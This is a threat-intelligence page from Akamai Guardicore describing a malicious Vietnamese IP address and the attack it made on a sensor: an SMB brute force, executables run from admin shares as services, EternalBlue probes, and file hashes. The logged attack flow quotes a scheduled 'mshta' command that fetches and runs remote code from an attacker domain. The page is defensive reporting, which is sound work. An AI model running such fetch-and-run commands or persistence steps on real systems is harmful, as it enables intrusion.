Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 117.6.225.194Malicious

IP Address: 117.6.225.194Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Scheduled Task Creation SMB Share Connect Execute from Share SMB Successful SMB Login Service Start Access Share Service Creation SMB Null Session Login CMD Service Stop Service Deletion Download File DNS Query SMB Brute Force MSSQL Access Suspicious Domain IDS - A Network Trojan was detected File Operation By CMD

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

117.6.225.194

Domain

-

ISP

-

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-12-23

Last seen in Akamai Guardicore Segmentation

2023-11-21

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 5 times

Successful SMB Login SMB Brute Force

ltsxoqde.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\ltsxoqde.exe as a service named KTGp under service group None

Service Creation Service Start

jrkkjhbv.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\jrkkjhbv.exe as a service named AOZk under service group None

Service Creation Service Start

C:\windows\temp\svchost.exe was downloaded

Download File

C:\WINDOWS\Temp\tmp.vbs was downloaded 2 times

Download File

Service AOZk was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

DNS Query Access Suspicious Domain

The command line c:\windows\QStiQPZ.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The command line c:\windows\SSseN.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

Successful SMB Login SMB Brute Force

gpvestgh.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\gpvestgh.exe as a service named SVDP under service group None

Service Creation Service Start

Service SVDP was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named fLoU under service group None

Service Creation Service Start

C:\anNnWgPz.exe was downloaded

Download File

annnwgpz.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\annnwgpz.exe as a service named QRct under service group None

Service Creation Service Start

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 1dfeb652ea00e0b0be019714f256f54c1f82142c5107f186a90f313ab5635e8a

520000 bytes

C:\AazqgNdM.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes